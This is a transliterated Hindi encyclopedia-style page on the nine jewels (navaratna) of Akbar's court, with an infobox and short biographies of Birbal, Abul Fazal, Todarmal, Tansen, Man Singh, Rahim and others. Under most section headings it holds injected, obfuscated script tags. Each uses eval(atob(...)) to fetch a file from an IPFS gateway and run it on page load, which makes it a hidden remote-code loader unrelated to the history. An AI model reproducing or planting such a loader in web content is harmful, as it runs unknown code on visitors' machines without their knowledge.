अकबर के नवरत्न

akabar vishay soochi

akabar    parichay    mata-pita se bichhu dana    akabar ki shiksha    rajyabhishek    hemoo se samana    akabar ka vivah    bairam khaan ki hatya    adaham khaan ki hatya    sahasi vyaktittv    akabar ke prarambhik sudhar    uttar bharat par vijay    dakshin ki vijay    jite ge rajy    vidroh ka daman    rajapoot v dharmik niti    hinduoan par prabhav    akabar aur brajamandal    kala-sahity mean yogadan    akabar ke navaratn    akabar ki mrityu

akabar ke navaratn
akabar|200px|center
poora nam	jalaluddin muhammad akabar
janm	15 aktoobar sanh 1542 (lagabhag)
janm bhoomi	amarakot, sindh (pakistan)
mrityu tithi	27 aktoobar sanh 1605 (umr 63 varsh)
mrityu sthan	fatehapur sikari, agara
pita/mata	humayooan, mariyam maqani
pati/patni	mariyam-uzh-zamani (haraka baee)
santan	jahaangir ke alava 5 putr 7 betiyaan
upadhi	jalal-ud-din
rajy sima	uttar aur madhy bharat
shasan kal	27 janavari, 1556 - 27 aktoobar, 1605
sha. avadhi	49 varsh
rajyabhishek	14 farabari 1556 kalanapur ke pas guradasapur
dharmik manyata	naya mazahab banaya din-e-ilahi
yuddh	panipat, haldighati
sudhar-parivartan	jaziya hataya, rajapootoan se vivah sanbandh
rajadhani	fatehapur sikari agara, dilli
poorvadhikari	humayooan
uttaradhikari	jahaangir
rajagharana	mugal
vansh	taimoor aur changez khaan ka vansh
maqabara	sikandara, agara
sanbandhit lekh	mugal kal

jalaluddin muhammad akabar bharat ka mahanatam mugal shanhashah badashah tha. jisane mugal shakti ka bharatiy upamahadvip ke adhikaansh hissoan mean vistar kiya. akabar ko akabar-ai-azam, shahanshah akabar tatha mahabali shahanshah ke nam se bhi jana jata hai. akabar ke darabar mean 9 vishesh darabari the jinhean akabar ke 'navaratn' ke nam se bhi jana jata hai. abulaphazal (1551-1602 ) ne akabar ke kal ko qalamabaddh kiya tha. usane akabaranama aur aina-e-akabari ki bhi rachana ki thi. faizi (1547-1595) abul fazal ka bhaee tha. vah farasi mean kavita karata tha. raja akabar ne use apane bete ke ganit shikshak ke pad par niyukt kiya tha. mianya tanasen akabar ke darabar mean gayak the. vah kavita bhi likha karate the. raja birabal (1528-1583) darabar ke vidooshak aur akabar ke salahakar the. raja todaramal akabar ke vitt mantri the. raja man sianh amber (amer, jayapur) ke kachchhavaha rajapoot raja the. vah akabar ki sena ke pradhan senapati the. abdul rahim khan-e-khana ek kavi the aur akabar ke sanrakshak bairam khan ke bete the. haqim humam akabar ke salahakar the. mulla do piaza akabar ke salahakar the. akabar ke darabar ko sushobhit karane vale 9 ratn nimn the-

birabal

mukhy lekh : birabal

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

navaratnoan mean sarvadhik prasiddh birabal ka janm kalapi mean 1528 ee. mean brahman vansh mean hua tha. birabal ke bachapan ka nam 'maheshadas' tha. yah akabar ke bahut hi nazadik tha. usaki chhavi akabar ke darabar mean ek kushal vakta, kahanikar evan kavi ki thi. akabar ne usaki yogyata se prabhavit hokar use (birabal) kaviraj evan raja ki upadhi pradan ki, sath hi 2000 ka manasab bhi pradan kiya. birabal pahala evan antim hindoo raja tha, jisane din-e-ilahi dharm ko svikar kiya tha. akabar ne birabal ko nagarakot, kaang da evan kalianjar mean jagirean pradan ki thian. 1583 ee. mean birabal ko nyay vibhag ka sarvochch adhikari banaya gaya. 1586 ee. mean yusufajiyoan ke vidroh ko dabane ke lie gaye birabal ki hatya kar di gee. abul fazal evan badayooanni ke anusar-akabar ko sabhi amiroan se adhik birabal ki mrityu par shok pahuancha tha. [[chitr:Birbal.jpg|thumb|left|250px|birabal]] [[chitr:Court-Of-Akbar-From-Akbarnama.jpg|thumb|250px|akabaranama ke anusar, akabar ke darabar ka ek drishy]]

abul fazal

mukhy lekh : abul fazal

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

soofi shekh mubarak ke putr abul fazal ka janm 1550 ee. mean hua tha. usane mugalakalin shiksha evan sahity mean apana bahumooly yogadan diya hai. 20 savaroan ke roop mean apana jivan arambh karane vale abul fazal ne apane charamotkarsh par 5000 savar ka manasab prapt kiya tha. vah akabar ka mukhy salahakar v sachiv tha. use itihas, darshan evan sahity par paryapt janakari thi. akabar ke din-e-ilahi dharm ka vah mukhy purohit tha. usane akabaranama evan aine akabari jaise mahattvapoorn granthoan ki rachana ki thi. 1602 ee. mean salim (jahaangir) ke nirdesh par dakshin se agara ki or a rahe abul fazal ki raste mean bundela saradar ne hatya kar di.

todaramal

mukhy lekh : todaramal

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh ke ek kshatriy kul mean paida hone vale todaramal ne apane jivan ki shuruat sherashah soori ke jahaan naukari karake ki thi. 1562 ee. mean akabar ki seva mean ane ke bad 1572 ee. mean use gujarat ka divan banaya gaya tatha bad mean 1582 ee. mean vah pradhanamantri ban gaya. divan-e-asharaf ke pad par kary karate hue todaramal ne bhoomi ke sambandh mean jo sudhar kie, ve ni:sandeh prashansaniy haian. todaramal ne ek sainik evan sena nayak ke roop mean bhi kary kiya. 1589 ee. mean todaramal ki mrityu ho gee.

tanasen

mukhy lekh : tanasen

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sangit samrat tanasen ka janm gvaliyar mean hua tha. usake sangit ka prashansak hone ke nate akabar ne use apane nau ratnoan mean shamil kiya tha. usane kee ragoan ka nirman kiya tha. unake samay mean dhrupad gayan shaili ka vikas hua. akabar ne tanasen ko ‘kanthabharanavanivilas’ ki upadhi se sammanit kiya tha. tanasen ki pramukh kritiyaan thian-miyaan ki to di, miyaan ki malhar, miyaan ki sarang, darabari kanh da adi. sambhavat: usane islam dharm svikar kar liya tha.

manasianh

mukhy lekh : manasianh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

amer ke raja bharamal ke pautr manasianh ne akabar ke samrajy vistar mean bahut hi mahattvapoorn bhoomika nibhaee thi. manasianh se sambandh hone ke bad akabar ne hinduoan ke sath udarata ka vyavahar karate hue jaziya kar ko samapt kar diya. kabul, bihar, bangal adi pradeshoan par manasianh ne saphal sainik abhiyan chalaya.

abdurrahim khanakhana

mukhy lekh : rahim

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bairam khaan ka putr abdurrahim uchch koti ka vidvanh evan kavi tha. usane turki mean likhe babaranama ka farasi bhasha mean anuvad kiya tha. jahaangir abdurrahim ke vyaktitv se sarvadhik prabhavit tha, jo usaka guru bhi tha. rahim ko gujarat pradesh ko jitane ke bad akabar ne khanakhana ki upadhi se sammanit kiya tha. [[chitr:Akbar-Tansen-Haridas.jpg|tanasen, akabar aur svami haridas|left|thumb|200px]]

mulla do pyaza

arab ka rahane vala pyaza humayooan ke samay mean bharat aya tha. akabar ke nau ratnoan mean usaka bhi sthan tha. bhojan mean use do pyaz adhik pasand tha. isilie akabar ne use do pyaza ki upadhi pradan ki thi.

haqim humam

mukhy lekh : haqim humam

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah akabar ke rasoee ghar ka pradhan tha.

faiji

mukhy lekh : faizi

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abul fazal ka b da bhaee faizi akabar ke darabar mean raj kavi ke pad par asin tha. vah din-e-ilahi dharm ka kattar samarthak tha. 1595 ee. mean usaki mrityu ho gee.

left|30px|link=akabar ka kala aur sahity mean yogadan|pichhe jaean

akabar ka kala aur sahity mean yogadan

akabar ke navaratn

akabar ki mrityu

right|30px|link=akabar ki mrityu|age jaean

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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